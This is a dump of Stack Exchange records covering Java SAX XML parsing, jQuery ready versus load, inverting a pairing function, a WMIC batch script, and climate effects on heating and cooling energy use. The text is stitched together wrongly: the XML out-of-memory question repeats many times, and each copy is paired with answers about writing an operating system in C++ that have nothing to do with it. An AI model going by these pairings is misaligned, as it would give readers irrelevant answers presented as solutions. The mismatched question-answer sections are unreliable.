It's probably not a 'beginner' task though, and to be honest, plain old C would be a better choice for system level stuff (both the Windows and Linux kernels use C). |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | You may be interested in [this book](https://rads.stackoverflow.com/amzn/click/com/0735611319). It explains how computers work, going from the lowest hardware level to a code.
Cannot recommend it enough!
<http://ecx.images-amazon.com/images/I/31VTerGLfML._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg> |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | No you cannot.
You need low-level services which are not standardized within programming languages. For example, you need system port and DMA IO, that basically look different on all platforms. This is usually done by inline assembly code on the lowest level, though some C++ compilers will provide you with special keywords to access CPU features such as registers and special opcodes. For instance, in MS VC++ you have \_EAX pseudo-variable to access the EAX CPU register. | Simply, yes you can. |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | You can write all possible programs in C++. In fact, you can write most programs in most languages, especially if you exclude performance concerns. This concept is known as "Turing completeness" |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | No you cannot.
You need low-level services which are not standardized within programming languages. For example, you need system port and DMA IO, that basically look different on all platforms. This is usually done by inline assembly code on the lowest level, though some C++ compilers will provide you with special keywords to access CPU features such as registers and special opcodes. For instance, in MS VC++ you have \_EAX pseudo-variable to access the EAX CPU register. |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | Simply, yes you can. |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | You will need some assembly. This is becaused there are some privileged instructions that are needed for operating system design that will not be generated by a C/C++ compiler.
One example is when userside code want to make use of an operating system service (like interprocess communication) it needs to switch from user mode into kernel mode. This is normally done by issuing a Software Interrupt (SWI). A C++ will never create the SWI instruction.
Similarly, when writing an arbitrary precision integer arithmatic library, one will need to find of the value of the Carry Bit. There is no C/C++ operator that can do this for you. You will have to use assembler.
Incidentation, writing directly to a device register can and often is done in C. the volatile keyword is placed into the language specifically for registers whose values can change unexpectedly |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Yes. C++ is [Turing Complete](http://en.wikipedia.org/wiki/Turing_completeness)... So is Excel, which a clever dude discovered while implementing [a realtime 3D engine](http://www.gamasutra.com/view/feature/3563/microsoft_excel_revolutionary_3d_.php). | You could program a complete OS in C++ if you were so inclined (and had a decade or so to spare....) since it does compile to machine code.
It's probably not a 'beginner' task though, and to be honest, plain old C would be a better choice for system level stuff (both the Windows and Linux kernels use C). |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | Well ... Typically you will need at least some assembly at the very lowest levels, for machine-dependent initialization and so on.
So "no" strictly speaking, but that can really be a very small proportion, making the real answer "yes".
[BeOS](http://en.wikipedia.org/wiki/BeOS) is an example of an operating system written in C++. | Yes. C++ is [Turing Complete](http://en.wikipedia.org/wiki/Turing_completeness)... So is Excel, which a clever dude discovered while implementing [a realtime 3D engine](http://www.gamasutra.com/view/feature/3563/microsoft_excel_revolutionary_3d_.php). |
8,562,609 | Recently I saw that you could use either
```
$('document').ready(function() {
//Do Code
});
```
or
```
$('window').load(function() {
//Do Code
});
```
for jQuery.
However, they seem the same to me! But clearly aren't.
So my question is: Which one should I use for a website sort of based on animation and async? And also which one of the two is generally better to use?
Thanks. | 2011/12/19 | [
"https://Stackoverflow.com/questions/8562609",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1020773/"
] | **`$('document').ready`** runs the code when the DOM is ready, but not when the page itself has loaded, that is, the site has not been painted and content like images have not been loaded.
**`$(window).load`** runs the code when the page has been painted and all content has been loaded. This can be helpful when you need to get the size of an image. If the image has no style or width/height, you can't get its size unless you use `$(window).load`. | Well first of all you may want to consider using the "ready" event, which you can handler like this:
```
$().ready(function() {
...
});
```
Or, more succinctly and idiomatically:
```
$(function() {
...
});
```
The "load" handler really relates to an actual event, and can be handled on several different sorts of elements: `<img>` and `<iframe>` for example. The "load" event at the document or window level happens when all of the page's resources are loaded. The (synthesized, in some browsers) "ready" event however happens when the page DOM is ready but possibly before things like `<img>` contents.
Another option is to simply put your `<script>` tags at the very end of the `<body>` or even after the `<body>`. That way the scripts have the entire DOM to work with, but you don't have to worry about any sort of event handling to know that. |
176,351 | My Circuit is:
USBTinyISP <-usi/icsp-> ATTiny85 <-usi/i2c-> [MCP4725](https://www.adafruit.com/products/935).
That is, the [USI](http://www.atmel.com/Images/doc4300.pdf) pins used to program the t85 are also used for i2c in the final circuit.
When I try to flash-program the t85 in-circuit, it fails. If I disconnect the 4725's SDA line during programming, it works. I **assume** that the 4725 is confusedly pulling SDA low to ACK I2C packets and thus interfering with the shared MOSI line during programming. But if so, then my ICSP isn't truly In-Circuit :(. That is, if the circuit was permanent then I couldn't program the MCU except by removing it. Yet I see many circuits with ICSP headers on them that presumably work.
How do circumvent logical interference from the circuit when I program via ICSP? The only solution I can think of is to use a microcontroller with dedicated ICSP pins. But is there some other common-practice solution to this problem? | 2015/06/19 | [
"https://electronics.stackexchange.com/questions/176351",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/77667/"
] | Add a suitable resistor between any external circuit *that drives an ICSP pin* and the AT chip. The resistor must be high enough that the ISP circuit can override the the external circuit, yet low enough that the external circuit can still drive the AT fast enough. You could start with 1k.
An ICSP capability is a combined property of the target chip, the programmer, *and the target circuit*. | There are very many options, that you may not think of right away.
One is:

[simulate this circuit](/plugins/schematics?image=http%3a%2f%2fi.stack.imgur.com%2ffSE4Z.png) – Schematic created using [CircuitLab](https://www.circuitlab.com/)
This way the Tiny will still likely be able to drive the DAC at 400kHz at least, maybe even faster, depending on the length of your wires. The DAC still has enough "strength" through the 470 Ohm resistors to pull the lines low enough to be seen as a zero on ACK or when holding the SCL line, but usually an ICSP programmer is strong enough to "win" from the 470 Ohm. At least on SPI. The even smaller TPI-requiring chips like the Tiny10 and Tiny20 wouldn't be able to win from 470 Ohm, but SPI is hard driven both by the Tiny85 target and the programmer.
If you want even more control/ensurance, you can add a PNP transistor driven by any free pin, that you actively pull low. When your Tiny is reset for programming, the default resistor R1 will pull the transistor closed:

[simulate this circuit](/plugins/schematics?image=http%3a%2f%2fi.stack.imgur.com%2fGrZzU.png)
In this case the 470 Ohm resistors prevent the DAC from "powering up" from voltages on the data lines. This is, in my opinion a less neat solution, but if the first one doesn't work, this one might.
From there on there's all kinds of things like I2C buffer chips that can be enabled/disabled and more such, but it all increases in complexity.
You can even also connect the PNP transistor in this example through another NPN to the RESET pin of the tiny, automatically powering down the DAC when the Tiny's reset is activated.
But again, putting signals on a chip that has no power is never a really neat solution, in my opinion, and if the resistors wouldn't work I would first look at buffer chips. |
24,744 | What is the explicit form of the inverse of the function $f:\mathbb{Z}^+\times\mathbb{Z}^+\rightarrow\mathbb{Z}^+$ where $$f(i,j)=\frac{(i+j-2)(i+j-1)}{2}+i?$$ | 2011/03/03 | [
"https://math.stackexchange.com/questions/24744",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/1004/"
] | Let $i+j-2 = n$.
We have $f = 1 + 2 + 3 + \cdots + n + i$ with $1 \leq i \leq n+1$. Note that the constraint $1 \leq i \leq n+1$ forces $n$ to be the maximum possible $n$ such that the sum is strictly less than $f$.
Hence given $f$, find the maximum $n\_{max}$ such that $$1 + 2 + 3 + \cdots + n\_{max} < f \leq 1 + 2 + 3 + \cdots + n\_{max} + (n\_{max} + 1)$$ and now set $i = f - \frac{n\_{max}(n\_{max}+1)}{2}$ and $j = n\_{max} + 2 - i$.
$n\_{max}$ is given by $\left \lceil \frac{-1 + \sqrt{1 + 8f}}{2} - 1 \right \rceil$ which is obtained by solving $f = \frac{n(n+1)}{2}$ and taking the ceil of the positive root minus one. (since we want the sum to strictly smaller than $f$ as we need $i$ to be positive)
Hence,
$$
\begin{align}
n\_{max} & = & \left \lceil \frac{-3 + \sqrt{1 + 8f}}{2} \right \rceil\\\
i & = & f - \frac{n\_{max}(n\_{max}+1)}{2}\\\
j & = & n\_{max} + 2 - i
\end{align}
$$ | Since your function seems to be Cantor's pairing function $p(x,y) = \frac{(x+y)(x+y+1)}{2} + y$ applied to $x= j-2, y = i$, and since the inverse of the pairing function is $p^{-1}(z) = (\frac{\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor^2 + 3\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor}{2}-z,z-\frac{\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor^2 + \lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor}{2})$, the inverse of your function is: $f^{-1}(z)=(z-\frac{\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor^2 + \lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor}{2},2+ \frac{\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor^2 + 3\lfloor \frac{\sqrt{8z+1}-1}{2} \rfloor}{2}-z)$, which can be a bit ugly. What is your motivation for inverting this function? |
22,454,696 | I am relatively new to batch scripting particularly in a windows environment. I would like to be able to gather the HDD information about a specific machine through the following command:
```
wmic idecontroller
```
However when I run that command, the output that I recieve looks like this:
```
Availability Caption ConfigManagerErrorCode ConfigManagerUserConfig CreationClassName Description DeviceID ErrorCleared ErrorDescription InstallDate LastErrorCode Manufacturer MaxNumberControlled Name PNPDeviceID PowerManagementCapabilities PowerManagementSupported ProtocolSupported Status StatusInfo SystemCreationClassName SystemName TimeOfLastReset
ATA Channel 0 0 FALSE Win32_IDEController IDE Channel PCIIDE\IDECHANNEL\4&160FD31B&0&0 (Standard IDE ATA/ATAPI controllers) ATA Channel 0 PCIIDE\IDECHANNEL\4&160FD31B&0&0 37 OK Win32_ComputerSystem TEST
ATA Channel 3 0 FALSE Win32_IDEController IDE Channel PCIIDE\IDECHANNEL\4&160FD31B&0&3 (Standard IDE ATA/ATAPI controllers) ATA Channel 3 PCIIDE\IDECHANNEL\4&160FD31B&0&3 37 OK Win32_ComputerSystem TEST
ATA Channel 4 0 FALSE Win32_IDEController IDE Channel PCIIDE\IDECHANNEL\4&160FD31B&0&4 (Standard IDE ATA/ATAPI controllers) ATA Channel 4 PCIIDE\IDECHANNEL\4&160FD31B&0&4 37 OK Win32_ComputerSystem TEST
ATA Channel 5 0 FALSE Win32_IDEController IDE Channel PCIIDE\IDECHANNEL\4&160FD31B&0&5 (Standard IDE ATA/ATAPI controllers) ATA Channel 5 PCIIDE\IDECHANNEL\4&160FD31B&0&5 37 OK Win32_ComputerSystem TEST
Intel(R) 6 Series/C200 Series Chipset Family 6 Port SATA AHCI Controller - 1C03 0 FALSE Win32_IDEController Intel(R) 6 Series/C200 Series Chipset Family 6 Port SATA AHCI Controller - 1C03 PCI\VEN_8086&DEV_1C03&SUBSYS_04A31028&REV_04\3&11583659&0&FA Intel Intel(R) 6 Series/C200 Series Chipset Family 6 Port SATA AHCI Controller - 1C03 PCI\VEN_8086&DEV_1C03&SUBSYS_04A31028&REV_04\3&11583659&0&FA 37 OK Win32_ComputerSystem TEST
```
If I wanted to only gather information from a specific column, and store each of those strings into a variable, what would be the best method? For example, if I wanted to store all of the fields under "Description" to an array of strings! | 2014/03/17 | [
"https://Stackoverflow.com/questions/22454696",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1424125/"
] | Here you go. Batch doesn't have arrays per se, but you can duplicate an array like this:
```
@echo off
setlocal enabledelayedexpansion
set cnt=0
for /f "tokens=2 delims==" %%a in ('wmic idecontroller get description /value^| Find "="') do (
set /a cnt+=1
set Ide[!cnt!]=%%a
)
for /L %%a in (1,1,%cnt%) do echo !Ide[%%a]!
``` | ```dos
@ECHO OFF
SETLOCAL enabledelayedexpansion
SET "columnname=%~1"
IF NOT DEFINED columnname ECHO require column name as parameter&GOTO :EOF
:: make a tempfile
:maketemp
SET "tempfile=%temp%\%random%"
IF EXIST "%tempfile%*" (GOTO maketemp) ELSE (ECHO.>"%tempfile%a")
:: remove variables starting $
FOR /F "delims==" %%a In ('set $ 2^>Nul') DO SET "%%a="
wmic idecontroller |more>q22454696.txt
:: SET header=first line
FOR /f "delims=" %%a IN (q22454696.txt) DO SET "header=%%a"&GOTO haveheader
:haveheader
:: calculate column positions
::
:: header length
>"%tempfile%a" (ECHO(%header%)&FOR %%a IN ("%tempfile%a") DO SET /a hlength=%%~za - 2
:: find part following columnname
SET "rest=!header:*%columnname%=!"
:: and part before columnname
SET "before=!header:%columnname%%rest%=!"
>"%tempfile%a" (ECHO(%before%)&FOR %%a IN ("%tempfile%a") DO SET /a blength=%%~za - 2
:: allow for part-of-headername. "rest" may contain remainderofcolumnname-spaces-nextcolumnname
SET /a rlength=0
:restlpc
IF NOT DEFINED rest GOTO havecw
IF NOT "%rest:~0,1%"==" " SET "rest=%rest:~1%"&GOTO restlpc
:restlps
IF NOT DEFINED rest GOTO havecw
IF "%rest:~0,1%"==" " SET "rest=%rest:~1%"&GOTO restlps
>"%tempfile%a" (ECHO(%rest%)&FOR %%a IN ("%tempfile%a") DO SET /a rlength=%%~za - 2
:: Now have column-width data
:havecw
SET /a cwidth=hlength - blength - rlength
REM ECHO header has length %hlength%
REM ECHO %columnname% is AT column %blength%
REM ECHO %columnname% has width %cwidth%
FOR /f "tokens=1*delims=:" %%a IN ('findstr /n /r "$" q22454696.txt') DO (
SET "line=%%b"
IF "%%b"=="" GOTO done
SET "$%%a=!line:~%blength%,%cwidth%!"
)
:done
ECHO resultant array:
SET $
DEL ""%tempfile%a*"
GOTO :EOF
```
There's a couple of problems with `WMIC`. First is that the output is unicode and second is that the column-widths are chosen to fit the data.
So - run the above batch with a parameter. Parameter can be the entire column-header, "quoted if it contains spaces" or a unique partial-startingstring (like `Ca` for Caption).
First it creates the file as specified (name unimportant) but first it's filtered by `MORE` to de-unicode it.
Next, a few gymnastics to locate and calculate the column location and width, using a tempfile.
Then use the results of the calculation to set variables `$1`..`$whatever` containing the required column.
Add a `skip=1` before the `tokens=1` in the final `for /f` if you don't want the column name as part of the array. |
8,374 | Nowadays, everyone talks about it: climate change, and more importantly, how to stop it from happening. Although there's a lot of debate around the topic, the consensus is that by inventing a way of generating clean energy, we can slow down (and maybe even reverse) the effects global warming has on the planet. Using energy that was created without burning millions of years worth of stored carbon, we can not only power our everyday lives, but also capture the carbon we've been blowing into our atmosphere using the energy-intensive process of carbon capture and sequestration (CCS).
But there are still some problems. Currently, photovoltaic cells are pretty much useless during winter when it comes to fueling the homes of millions (at least where I live). We want to warm our homes, but there's not enough clean energy during those months, so we fall back on nuclear.
**Wouldn't it therefore be better to have a small rise in global temperature?**
* A higher temperature means you don't have to warm your home during winter (as much).
* During summer, you can use the extra energy generated by the photovoltaic cells to power air conditioners in order to cool buildings and
* Use some excess energy to stop the [runaway greenhouse effect](https://en.wikipedia.org/wiki/Runaway_greenhouse_effect) using CCS.
Even though cooling requires more energy than heating, might it break even? **Will the rise in temperature have a positive effect on our energy production and the ability to satisfy energy demand?** | 2019/07/23 | [
"https://sustainability.stackexchange.com/questions/8374",
"https://sustainability.stackexchange.com",
"https://sustainability.stackexchange.com/users/6811/"
] | **tl;dr -- For the west coast of the U.S., a 20% decrease in heating demand and 18% increase in cooling demand results in a 5% reduction in carbon emissions from electricity and natural gas usage**
Here's the approach I came up with to try and answer this question with some hard data.
### 1. Find a region of the U.S. which had a cold winter and mild summer, followed by a mild winter and a hot summer.
This is the sort of change we'd expect to see with global warming. If we look at the data for consecutive years, we minimize the effects of changes to the grid and/or population.
The U.S. Energy Information Agency publishes [monthly regional data for heating and cooling degree days](https://www.eia.gov/outlooks/steo/data/browser/#/?v=28&f=A&s=0&start=1997&end=2018&id=&linechart=ZWHD_PAC~ZWCD_PAC&maptype=0&ctype=linechart&map=) as part of the short term energy outlook.
Looking at data for all regions, I determined that 2013 to 2014 for the Pacific region best meets the criteria. The area includes Alaska, Washington, Oregon, California, and Hawaii. This area stretches pretty far from north to south, so makes a decent sample that we could use to extrapolate. From 2013 to 2014 this region experienced:
* 20% **increase** in cooling degree days (= more energy needed for cooling)
* 17% **decrease** in heating degree days (= less energy needed for heating)
[](https://i.stack.imgur.com/UBhZu.png)
The [population](https://factfinder.census.gov/faces/tableservices/jsf/pages/productview.xhtml?src=bkmk) in this region grew by slightly more than 1% over that time period, so likely not a huge factor in any changes in energy usage:
```
2013 2014 % change
Alaska 735,132 736,732
California 38,332,521 38,802,500
Hawaii 1,404,054 1,419,561
Oregon 3,930,065 3,970,239
Washington 6,971,406 7,061,530
51,373,178 51,990,562 1.2%
```
### 2. Determine total usage of electricity and natural gas for heating over that time period
EIA provides [monthly natural gas consumption by state](https://www.eia.gov/dnav/ng/ng_cons_sum_dcu_nus_m.htm). This is broken down by end use, so I looked at residential and commercial uses, which would predominantly cover heating. I left out use by vehicles and industry. Some industry uses would include heating, but for all five states this usage was fairly consistent month-to-month, and less than either residential or commercial usage for most months.
EIA also provides [monthly generation by fuel source by state](https://www.eia.gov/electricity/data.php#generation) (scroll to "Generation" then "State-level generation and fuel consumption data" then "Monthly (back to 2001)") .
Here's a chart showing degree days (left axis) and energy for heating and electricity (right axis) using the above data sets:
[](https://i.stack.imgur.com/COQvJ.png)
### 3. Compare changes in heating, electric generation, and associated CO2 emissions
Here's a chart comparing 2013 and 2014 usage for the largest sources:
[](https://i.stack.imgur.com/Vyhnd.png)
And here's the data summarized in a table with emissions data and percent change calculated:
```
2013 2014 % change
Heating degree days 3,365 2,776 -18%
Cooling degree days 890 1,069 20%
Heating natural gas (MWh) 291,012,539 256,759,857 -12%
CO2 emissions (metric tons) 54,613,680 48,185,555
Coal generation (MWh) 26,701,933 25,562,047 -4%
CO2 emissions (metric tons) 27,235,971 26,073,288
Natural gas generation (MWh) 297,462,431 289,771,833 -3%
CO2 emissions (metric tons) 133,858,094 130,397,325
Hydroelectric generation (MWh) 273,042,255 263,321,494 -4%
Nuclear generation (MWh) 52,745,666 52,966,598 0%
Solar generation (MWh) 7,708,892 19,940,312 159%
Wind generation (MWh) 55,861,453 58,717,774 5%
Other generation (MWh) 68,296,211 67,585,528 -1%
Total electric (MWh) 781,818,840 777,865,587 -1%
Total CO2 (metric tons) 215,707,745 204,656,168 -5%
```
### Conclusion
This is a pretty limited (and possibly spurious) analysis, but it supports your hypothesis: **a warmer climate reduces energy needs in the winter by a greater factor than the summertime increase.**
The really interesting thing, especially in a U.S. context, is that a huge proportion of natural gas is used for heating in the winter. But in the summer, electricity from cooling comes from a more diverse set of sources. **So any reduction in heating demand necessarily reduces CO2 emissions, but as the grid adds more wind and solar, increases in cooling demand don't necessarily increase CO2 emissions.**
Some caveats to this:
* Much of the population of California is on the southern coast, where heating and cooling demand is already limited due to the mild climate
* None of this accounts for changes in population, economic activity, policy, or precipitation
* Electric usage is for all uses (not just heating/cooling) so doesn't account for any economic factors
* California added A LOT of solar, and some wind, during this time period, which contributed to the overall reduction in CO2 emissions from the electric sector | The US isn't the only land mass in the world you know. In much of Africa people and animals are dying in the heat. And on a global scale the man made energy requirements are rising exponentially because of global warming. In Britain for instance people are busy installing air conditioning which they never needed before. If you even looked at the extra air conditioning installed in the US you would probably find it outweighs all this estimated saving. Scientists are also working on superconductors which save quite a bit of energy, but necessitate very cold temperatures which will become increasingly difficult to maintain. |
8,374 | Nowadays, everyone talks about it: climate change, and more importantly, how to stop it from happening. Although there's a lot of debate around the topic, the consensus is that by inventing a way of generating clean energy, we can slow down (and maybe even reverse) the effects global warming has on the planet. Using energy that was created without burning millions of years worth of stored carbon, we can not only power our everyday lives, but also capture the carbon we've been blowing into our atmosphere using the energy-intensive process of carbon capture and sequestration (CCS).
But there are still some problems. Currently, photovoltaic cells are pretty much useless during winter when it comes to fueling the homes of millions (at least where I live). We want to warm our homes, but there's not enough clean energy during those months, so we fall back on nuclear.
**Wouldn't it therefore be better to have a small rise in global temperature?**
* A higher temperature means you don't have to warm your home during winter (as much).
* During summer, you can use the extra energy generated by the photovoltaic cells to power air conditioners in order to cool buildings and
* Use some excess energy to stop the [runaway greenhouse effect](https://en.wikipedia.org/wiki/Runaway_greenhouse_effect) using CCS.
Even though cooling requires more energy than heating, might it break even? **Will the rise in temperature have a positive effect on our energy production and the ability to satisfy energy demand?** | 2019/07/23 | [
"https://sustainability.stackexchange.com/questions/8374",
"https://sustainability.stackexchange.com",
"https://sustainability.stackexchange.com/users/6811/"
] | **tl;dr -- For the west coast of the U.S., a 20% decrease in heating demand and 18% increase in cooling demand results in a 5% reduction in carbon emissions from electricity and natural gas usage**
Here's the approach I came up with to try and answer this question with some hard data.
### 1. Find a region of the U.S. which had a cold winter and mild summer, followed by a mild winter and a hot summer.
This is the sort of change we'd expect to see with global warming. If we look at the data for consecutive years, we minimize the effects of changes to the grid and/or population.
The U.S. Energy Information Agency publishes [monthly regional data for heating and cooling degree days](https://www.eia.gov/outlooks/steo/data/browser/#/?v=28&f=A&s=0&start=1997&end=2018&id=&linechart=ZWHD_PAC~ZWCD_PAC&maptype=0&ctype=linechart&map=) as part of the short term energy outlook.
Looking at data for all regions, I determined that 2013 to 2014 for the Pacific region best meets the criteria. The area includes Alaska, Washington, Oregon, California, and Hawaii. This area stretches pretty far from north to south, so makes a decent sample that we could use to extrapolate. From 2013 to 2014 this region experienced:
* 20% **increase** in cooling degree days (= more energy needed for cooling)
* 17% **decrease** in heating degree days (= less energy needed for heating)
[](https://i.stack.imgur.com/UBhZu.png)
The [population](https://factfinder.census.gov/faces/tableservices/jsf/pages/productview.xhtml?src=bkmk) in this region grew by slightly more than 1% over that time period, so likely not a huge factor in any changes in energy usage:
```
2013 2014 % change
Alaska 735,132 736,732
California 38,332,521 38,802,500
Hawaii 1,404,054 1,419,561
Oregon 3,930,065 3,970,239
Washington 6,971,406 7,061,530
51,373,178 51,990,562 1.2%
```
### 2. Determine total usage of electricity and natural gas for heating over that time period
EIA provides [monthly natural gas consumption by state](https://www.eia.gov/dnav/ng/ng_cons_sum_dcu_nus_m.htm). This is broken down by end use, so I looked at residential and commercial uses, which would predominantly cover heating. I left out use by vehicles and industry. Some industry uses would include heating, but for all five states this usage was fairly consistent month-to-month, and less than either residential or commercial usage for most months.
EIA also provides [monthly generation by fuel source by state](https://www.eia.gov/electricity/data.php#generation) (scroll to "Generation" then "State-level generation and fuel consumption data" then "Monthly (back to 2001)") .
Here's a chart showing degree days (left axis) and energy for heating and electricity (right axis) using the above data sets:
[](https://i.stack.imgur.com/COQvJ.png)
### 3. Compare changes in heating, electric generation, and associated CO2 emissions
Here's a chart comparing 2013 and 2014 usage for the largest sources:
[](https://i.stack.imgur.com/Vyhnd.png)
And here's the data summarized in a table with emissions data and percent change calculated:
```
2013 2014 % change
Heating degree days 3,365 2,776 -18%
Cooling degree days 890 1,069 20%
Heating natural gas (MWh) 291,012,539 256,759,857 -12%
CO2 emissions (metric tons) 54,613,680 48,185,555
Coal generation (MWh) 26,701,933 25,562,047 -4%
CO2 emissions (metric tons) 27,235,971 26,073,288
Natural gas generation (MWh) 297,462,431 289,771,833 -3%
CO2 emissions (metric tons) 133,858,094 130,397,325
Hydroelectric generation (MWh) 273,042,255 263,321,494 -4%
Nuclear generation (MWh) 52,745,666 52,966,598 0%
Solar generation (MWh) 7,708,892 19,940,312 159%
Wind generation (MWh) 55,861,453 58,717,774 5%
Other generation (MWh) 68,296,211 67,585,528 -1%
Total electric (MWh) 781,818,840 777,865,587 -1%
Total CO2 (metric tons) 215,707,745 204,656,168 -5%
```
### Conclusion
This is a pretty limited (and possibly spurious) analysis, but it supports your hypothesis: **a warmer climate reduces energy needs in the winter by a greater factor than the summertime increase.**
The really interesting thing, especially in a U.S. context, is that a huge proportion of natural gas is used for heating in the winter. But in the summer, electricity from cooling comes from a more diverse set of sources. **So any reduction in heating demand necessarily reduces CO2 emissions, but as the grid adds more wind and solar, increases in cooling demand don't necessarily increase CO2 emissions.**
Some caveats to this:
* Much of the population of California is on the southern coast, where heating and cooling demand is already limited due to the mild climate
* None of this accounts for changes in population, economic activity, policy, or precipitation
* Electric usage is for all uses (not just heating/cooling) so doesn't account for any economic factors
* California added A LOT of solar, and some wind, during this time period, which contributed to the overall reduction in CO2 emissions from the electric sector | >
> Wouldn't it therefore be better to have a small rise in global temperature?
>
**No.** The radiative forcing by carbon dioxide does not increase solar radiation that can be captured by solar cells. The warmer temperatures actually **decrease** solar cell output, because solar cells really like cold temperatures and lots of radiation. You can't have both optimal temperature and optimal radiation at the same time, because solar radiation causes the temperature to increase.
If we could somehow manage radiative forcing, to reduce worldwide temperatures, we could make more power with solar cells.
**Edit:** Nice to have unexplained downvotes after an upvote. So, let me add some sources:
* <https://www.civicsolar.com/article/how-does-heat-affect-solar-panel-efficiencies>
* <https://greentumble.com/effect-of-temperature-on-solar-panel-efficiency/>
* <https://www.sciencedirect.com/science/article/pii/S1876610213000829>
